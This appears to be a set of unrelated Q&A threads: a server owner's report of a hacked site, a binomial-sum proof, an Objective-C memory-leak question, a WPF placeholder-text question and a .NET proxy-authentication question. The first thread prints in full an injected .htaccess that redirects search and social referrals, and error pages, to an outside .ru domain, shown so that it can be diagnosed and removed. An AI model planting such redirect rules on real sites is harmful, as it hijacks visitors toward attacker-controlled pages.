order allow,deny
deny from all
</files>

# protect from sql injection
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]

Is there anything else that would help?
Sorry for any lack of information, I'm fairly new to servers etc so if there is any extra details needed, just shout out!
Thanks in advance for any help.
Dan
******* EDIT *******
The malicious .htaccess as requested
<IfModule mod_rewrite.c>
                                                                                RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
                                                                                RewriteRule ^(.*)$ http://byidelement.ru/ruby/index.php [R=301,L]
                                                                                RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
                                                                                RewriteRule ^(.*)$ http://byidelement.ru/ruby/index.php [R=301,L]
                                                </IfModule>

    # STRONG HTACCESS PROTECTION
    <Files ~ "^.*\.([Hh][Tt][Aa])">
    order allow,deny
    deny from all
    satisfy all
    </Files>
    # protect from sql injection
    Options +FollowSymLinks
    RewriteEngine On
    RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
    RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
    RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
    RewriteRule ^(.*)$ index.php [F,L]
                                                                                ErrorDocument 400 http://byidelement.ru/ruby/index.php
                                                                                ErrorDocument 401 http://byidelement.ru/ruby/index.php
                                                                                ErrorDocument 403 http://byidelement.ru/ruby/index.php
                                                                                ErrorDocument 404 http://byidelement.ru/ruby/index.php
                                                                                ErrorDocument 500 http://byidelement.ru/ruby/index.php

Comment: Really, you should start by trying to determine how your server was breached, how much access the other person has, and how you can contain the damage. However, try to change the permissions on the .htaccess file - remove write permissions (`chmod -w .htaccess`), make it immutable `sudo chattr +i` (and, of course, ensure your webserver user can't `chmod`). You could even change the owner of the file - but it shouldn't be required.
Comment: Thanks for the responses, I've changed the chmod to 0444 on all .htaccess files but have no real idea how to make it immutable or ensure my webserver cannot chmod! I'll have a fun Sunday figuring these out I'm sure!
Comment: Can you post the .htaccess file's it's creating? Often these infectionsare known and with a quick Google their cure can be found. Also, run [chkrootkit](http://www.chkrootkit.org/) on there a bit quick.
Answer: Run chkrootkit on there a bit quick, just in case.
Make sure all the packages are up to date with security fixes:

Ubuntu/Debian: apt-get update; apt-get dist-upgrade
CentOS/Fedora/RHEL: yum upgrade

It's likely though that this is a known exploit in the version of Wordpress (or some other off-the-shelf framework) you're running and now it's being discovered it's remotely being exploited again and again. If this is the case search for the latest version of all frameworks you're running and check for security fixes.
Assuming it is been exploited remotely, this can be confirmed by getting a tail running on the web server access log(s) and watch for any suspicious activity. tail -f /var/log/apache2/access-log would be the command on a stock Ubuntu install, but all distro's place their Apache logs in different places. When you see something suspicious you'll know which VirtualHost has been compromised. If you're feeling adventurous, scan through your historic access logs as well. This can be daunting on a high traffic server but will show the point of attack. Narrow down your search by searching around the time when you know the first attack took place.


Proving Binomial Random Variable Identity

Question: Good Morning All,
May I ask for a clue to the following problem?
I got stuck and I am now wondering if I understood the problem correctly.

Let X, Y be independent random variables bin(m, p), bin(n, p) respectively.
Show that X+Y is a binomial random variable with parameter (m+n, p)

So $\mathbb P (X = i) = {m \choose i}{p^i}{q^{m-i}}$, $\mathbb P (Y = j) = {n \choose j}{p^j}{q^{n-j}}$
Let $m \le n$, $\mathbb P (X+Y = t) = $
$ \mathbb P (X=0, Y=t) + \mathbb P (X=1, Y=t-1) ... + \mathbb P (X=m, Y=t-m) $
$ = \sum_{i=1}^m \mathbb P (X=i) \mathbb P (Y=t-i)$
$ = \sum_{1=1}^m {m \choose i}{n \choose t-i} p^{i+t-i}q^{m+n-i-t+i}$

Now, I am stuck with the combinations.  I can't get them to look like $m+n \choose t$.
Answer: I'm sure by some books this won't be accepted as a full proof, and it doesn't answer your question, but here's a less formal proof:
Say you have $m$ identical experiments in one room, and $n$ of the same experiment in another.  Also, assume that they are all independent, and that each of them have probability of success $p$. Then $X$ is the number of successful experiments in the first room and $Y$ the number of successful experiments in the other. $X + Y$ will then intuitively be the number of successful experiments in the two rooms together. This is then $m+n$ identical, independent experiments, each with success probability $p$, and it is therefore bin$(m+n, p)$.
Comment: Nicely explained. It does answer the original question that led to the specific question about the identity. And I expect that starting from the the fact that $X+Y$ has binomial distribution, and manipulating, probably using derivatives, we can lift the identity from that fact.
Comment: @AndréNicolas I believe that from setting $q = 1-p$ and writing $$P(Z = t) = \sum_{i = 0}^t P(X= i)\cdot P(Y = t-i)$$ will give you the identity above when you multiply both sides with $p^{m}q^n$. It is the exact opposite direction of OP's approach.
Comment: I of course mean $p^tq^{m+n-t}$ in my last comment.
Answer: You should in your third line only go to $X=t$, $Y=0$. So you want to show that
$$\sum_{i=0}^t \binom{m}{i}\binom{n}{t-i}=\binom{m+n}{t}.$$
Here is combinatorial proof of the above identity. We have a group of $m$ boys and $n$ girls, and want to pick $t$ people.
By definition, this can be done in $\dbinom{m+n}{t}$ ways.
Let us count this another way. We can pick $0$ boys and $t$ girls. This can be done in $\binom{m}{0}\binom{n}{t}$ ways.
Or else we can pick $1$ boy and $t-1$ girls. This can be done in $\binom{m}{1}\binom{n}{t-1}$ ways.
Or else we can pick $2$ boys and  $t-2$ girls. This can be done in $\binom{m}{2}\binom{n}{t-2}$ ways.
Continue, and add up.  We get the desired identity.
Note: If $m$ is "small" and $t$ and $n$ are largish, some of the $i$ in the sum may be greater than $m$. The above expression is still correct, if we use the convention that $\binom{a}{b}=0$ if $a$ and $b$ are non-negative integers such that $a\lt b$.
Comment: The situation where $m \lt t$ is what I am trying to capture in the third line.  But then I counted wrong.  TY all for the help!


Xcode leaks tool does not identify property leaks

Question: I have this simple code
@interface chatApp4Message : NSObject {
NSString* line;
}
@property (nonatomic, retain) NSString* line;
@end

@implementation chatApp4Message
@synthesize line;
@end

As you can see, I don't release the line property. However, when running this following  simple code under the Xcode leaks tool, I get no indication of memory leaks
for (int i=1; i< 100; i++){
    chatApp4Message* msg = [[chatApp4Message alloc] init];
    msg.line = @"aaaaaa";
    [msg release]
}

Answer: Actually there's no memory leaks in your code. @"aaaaaa" is a string literal object and is created at compile time and it persists all the time your application runs. However change your code to really create string object and you'll get memory leak:
for (int i=1; i< 100; i++){
    chatApp4Message* msg = [[chatApp4Message alloc] init];
    msg.line = [NSString stringWithFormat:@"%d", i]; // It leaks!
    [msg release]
}

P.S. May be this discussion on string literals will be useful...
Comment: Really? I thought the `@synthesize`'d `@property(retain)` would release it's ivar and then retain the new one. No leaks until dealloc, and only if `[line release]` is missing.. and of course `line=nil` during initialization to keep things safe and tidy
Comment: That's all true and to handle memory correctly you need to release line ivar in dealloc method. I just tried to explain (may be poorly - sorry I'm not a native speaker) why in **that particular** example there's no memory leak. String literals does not behave like ordinary dynamically created obj-c objects(see link posted) - for example you can try to release/retain string literal and check that they don't affect literal's retain count.
Comment: dealloc method will get called right after [msg release] even if you don't override it in chatApp4Message class. And ivars (at least obj-c objects) are initialized with nil by default anyway - you don't need to set them as nil in init method.
Comment: I don't dispute the literal string memory management, but you have "// It leaks!" on a line where an autoreleased string is assigned to a retained property. It doesn't leak!! If it was `msg.line = [[NSString alloc] initWithFormat:@"%d",i];` then I would agree.
Answer:
Your code is technically leaking for the reasons you think, but Instruments is measuring reality, not theory.  If you were to run the static analyzer on your code (Build & Analyze), it should detect the leak.
String literals -- @"...." -- are actual compiled static NSString instances.  At runtime, [@"foo" class] would indicate that the string is an instance of NSCFConstantString (IIRC -- some constant string class anyway) that does nothing on retain, release, or autorelease, because it isn't actually an allocated instance.
If you want to play with Leaks analysis, do so with mutable strings or with instances of some class you create.

I often use a function like the following to generate mutable self-identifying string instances to futz with leaks or object graph analysis:
 NSString *testString(NSString *prefix) {
     NSMutableString *s = [NSMutableString stringWithString: prefix];
     [s appendFormat: @" (%p)", s];
     return s;
 }


TextBox with Data Binding should display helper text when empty

Question: I am working on an application in C# using the .NET Framework 3.5.  I have a TextBox on one of my forms that is bound to the "ID" property of the DataContext of the form, like so:
<TextBox x:Name="txtID"
    Grid.Row="0" Grid.Column="1"
    Margin="2" MinWidth="200" VerticalAlignment="Top"
    Style="{StaticResource validationToolTip}"
    >
    <TextBox.Text>
        <Binding Path="ID" UpdateSourceTrigger="PropertyChanged"
            ValidatesOnDataErrors="true">
            <Binding.ValidationRules>
                <ui:RequiredFieldValidationRule />
            </Binding.ValidationRules>
        </Binding>
    </TextBox.Text>
</TextBox>

I would like the TextBox to display some helper text ("[Leave blank to auto-generate.]") when the ID property is empty and the TextBox does not have input focus.  I am considering styling this text differently (italicize) to distinguish it from a user-typed ID.  Since the TextBox.Text property is bound to the ID property, however, I want to make sure that my solution doesn't cause the ID property to be set to the value of my helper string.  How should I go about implementing this behavior?
Answer: The simplest approach would be to have a label over the text box to contain the text, or use a tooltip for the text
Another approach would be to have a class sit between the control and the data class that you are currently bound to.  This class could then pass the required '[Leave blank to auto-generate.]' text if the text in the data class is empty, or pass through the value if it is not.  For all the other fields the value would just be a pass through
Answer: Here's a straightforward approach that can pretty trivially be turned into a control template or a user control:
<Grid>
  <TextBox
     Foreground="LightGray"
     Focusable="False"
     Text="This is the help text."/>
  <TextBox
     Focusable="True"
     Text="The help text only displays if this is empty.">
    <TextBox.Style>

      </Style>
    </TextBox.Style>
  </TextBox>
</Grid>

Note that the internal style set here is based on the default style for the TextBox, so this should continue to display properly if you globally restyle the TextBox.


System.Net.WebClient vs. Proxy Authentication 407 error

Question: I'm trying to figure out how to robustly handle proxy authentication errors (HTTP
407 status code) when using the System.Net.WebClient class.
In the field, we see many users receiving a 407 proxy authentication
WebException, but I'm not sure what a good default strategy is.  In .Net
2.0/3.5, the proxy authentication settings are supposed to be inherited from
the Internet Explorer system settings.  Firefox, Opera and Chrome use these
same settings.
Here's the basic code we are using:
<code>using System.Net;

string url = "http://www.mysite.com";
WebClient webClient = new WebClient();
byte[] data = webClient.DownloadFile(url);
</code>
When this code fails, we open the user's browser and send them to a help
page.  From our web logs, we know these customers can successfully connect in
their browsers.  Perhaps they are manually entering their proxy user name and
password before they get to our help page?  We don't know.
It seems that we could use WebClient.UseDefaultCredentials, but this
seems redundant if WebClient is using the system settings anyway.
Any help is appreciated.
Answer: Internet Explorer does not persistently cache/reuse proxy authentication credentials if the proxy auth uses BASIC or DIGEST.  For Negotiate/NTLM, default credentials will be provided.
Hence, even though .NET inherits from IE settings, you won't get any "free" support for proxy authentication for Basic/Digest unless you happen to be running in IE; you'll need to prompt the user or provide a configuration screen.
Fiddler (www.fiddler2.com) has the "Request Proxy Authentication" option on the Rules menu that you can use to simulate this scenario for testing.
Comment: Thanks Eric. Fiddler works well.

To clarify, for Negotiate/NTML, will default credentials will be provided by WebClient whether or not I set UseDefaultCredentials=true? In other words, is there value in handling the 407 WebException and retrying with UseDefaultCredentials=true? Why not just always set UseDefaultCredentials=true? Security risk?

Opinion Disclaimer: WinInet seemed to handle this much better.  Given that everyone in the universe wants to traverse proxies, why not do this automatically or fire an event and provide a standard UI for entering/saving credentials?
Comment: Got it working. For some reason the CredentialCache did not work. I had to pass a NetworkCredential to webClient.Proxy.Credentials.
Comment: I experimented more with Fiddler. I thought it would be easy to just supply the user name and password ("1", "1") like below, but it doesn't work.

                string url = "http://www.java.com/";

                webClient = new WebClient();
                CredentialCache cache = new CredentialCache();
                cache.Add(new Uri(url), "Basic", new NetworkCredential("1", "1"));

                webClient.Proxy.Credentials = credentialCache;
                webClient.Credentials = credentialCache;

                string contents = webClient.DownloadString(url);
Answer: We solved that problem by adding a config dialog which alows the user to choose "use proxy".
If this setting is done we use these parameter (address, credentials...).
If not - we assume that a connection can be made without any manual interaction.
In the case of an error we do:
a.) try again using default credentials
b.) popup an information that a setting in config could help...
If proxy authentication is done via "default credentials" (Windows user) IE also reacts to an auth error and sends default credentials in this case.
If this does not work it opens a credentials dialog.
I'm not sure if all browsers handle this that way - but you can simply give it a try using fiddler, so you can see what's going on.
Answer: I know this is an old post but I had a similar problem trying to download an XML file using WebClient in an SSIS 2008R2 (SQL Server Integration Services) script task (VB.NET Code) through a Proxy Server to a remote site secured via SSL that also required authentication.
Took a while to find a solution and this post helped on the proxy side. Below is the script code that worked for me. Might be useful to someone searching for similar.
<code>    Dim objWebClient As WebClient = New WebClient()
    Dim objCache As New CredentialCache()

    'https://www.company.net/xxxx/resources/flt
    Dim strDownloadURL As String = Dts.Variables("FileURL").Value.ToString

    'firstname.lastname@example.com
    Dim strLogin As String = Dts.Variables("FileLogin").Value.ToString

    'sitepassword
    Dim strPass As String = Dts.Variables("FilePass").Value.ToString

    'itwsproxy.mycompany.com
    Dim strProxyURL As String = Dts.Variables("WebProxyURL").Value.ToString

    '8080
    Dim intProxyPort As Integer = Dts.Variables("WebProxyPort").Value

    'Set Proxy & Credentials as a Network Domain User acc to get through the Proxy
    Dim wp As WebProxy = New WebProxy(strProxyURL, intProxyPort)
    wp.Credentials = New NetworkCredential("userlogin", "password", "domain")
    objWebClient.Proxy = wp

    'Set the Credentials for the Remote Server not the Network Proxy
    objCache.Add(New Uri(strDownloadURL), "Basic", New NetworkCredential(strLogin, strPass))
    objWebClient.Credentials = objCache

    'Download file, use Flat File Connectionstring to save the file
    objWebClient.DownloadFile(strDownloadURL, Dts.Connections("XMLFile").ConnectionString)
</code>